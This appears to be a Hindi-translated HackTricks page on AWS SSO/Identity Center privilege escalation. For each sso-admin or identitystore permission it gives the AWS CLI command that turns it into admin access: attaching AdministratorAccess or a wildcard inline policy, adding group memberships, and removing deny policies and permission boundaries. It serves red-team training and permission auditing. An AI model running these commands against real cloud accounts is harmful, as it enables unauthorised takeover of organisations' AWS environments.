AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
AWS Identity Center / AWS SSO
AWS Identity Center / AWS SSO के बारे में अधिक जानकारी के लिए देखें:
AWS - IAM, Identity Center & SSO Enum
warning
ध्यान दें कि डिफ़ॉल्ट रूप से, केवल प्रबंधन खाता के साथ अनुमतियाँ वाले उपयोगकर्ता IAM Identity Center तक पहुँच और नियंत्रण कर सकेंगे।
अन्य खातों के उपयोगकर्ता केवल तभी अनुमति दे सकते हैं यदि खाता प्रतिनिधि प्रशासक है।
अधिक जानकारी के लिए दस्तावेज़ देखें।
पासवर्ड रीसेट करें
इस तरह के मामलों में विशेषाधिकार बढ़ाने का एक आसान तरीका यह होगा कि एक अनुमति हो जो उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति देती है। दुर्भाग्यवश, केवल उपयोगकर्ता को उसके पासवर्ड को रीसेट करने के लिए एक ईमेल भेजना संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुँच की आवश्यकता होगी।
identitystore:CreateGroupMembership
इस अनुमति के साथ, एक उपयोगकर्ता को एक समूह के अंदर सेट करना संभव है ताकि वह समूह की सभी अनुमतियाँ विरासत में ले सके।
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet
, sso:ProvisionPermissionSet
इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet
, sso:ProvisionPermissionSet
इस अनुमति के साथ एक हमलावर एक अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet
, sso:ProvisionPermissionSet
इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
warning
इन अनुमतियों का दुरुपयोग करने के लिए, आपको यह जानना आवश्यक है कि एक ग्राहक प्रबंधित नीति का नाम जो सभी खातों के अंदर है जो प्रभावित होने वाले हैं।
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को अपने नियंत्रण में एक खाता देने के लिए एक अनुमति सेट दे सकता है।
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
उपयोगकर्ता को सौंपे गए एक निर्दिष्ट भूमिका नाम के लिए STS अल्पकालिक क्रेडेंशियल्स लौटाता है।
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का मुझे यकीन नहीं है (TODO).
sso:DetachManagedPolicyFromPermissionSet
इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से AWS प्रबंधित नीति के बीच संबंध को हटा सकता है। एक प्रबंधित नीति (निषेध नीति) को हटाकर अधिक विशेषाधिकार प्रदान करना संभव है।
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से ग्राहक प्रबंधित नीति के बीच संबंध को हटा सकता है। एक प्रबंधित नीति (निषेध नीति) को हटाकर अधिक विशेषाधिकार प्रदान करना संभव है।
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
इस अनुमति के साथ एक हमलावर अनुमति सेट से एक इनलाइन नीति से अनुमतियों को हटाने की क्रिया कर सकता है। एक इनलाइन नीति (निषेध नीति) को अलग करके अधिक विशेषाधिकार प्रदान करना संभव है।
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
इस अनुमति के साथ एक हमलावर अनुमति सेट से Permission Boundary को हटा सकता है। यह Permission Boundary से दी गई अनुमति सेट पर प्रतिबंधों को हटाकर अधिक अधिकार देने की संभावना है।
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।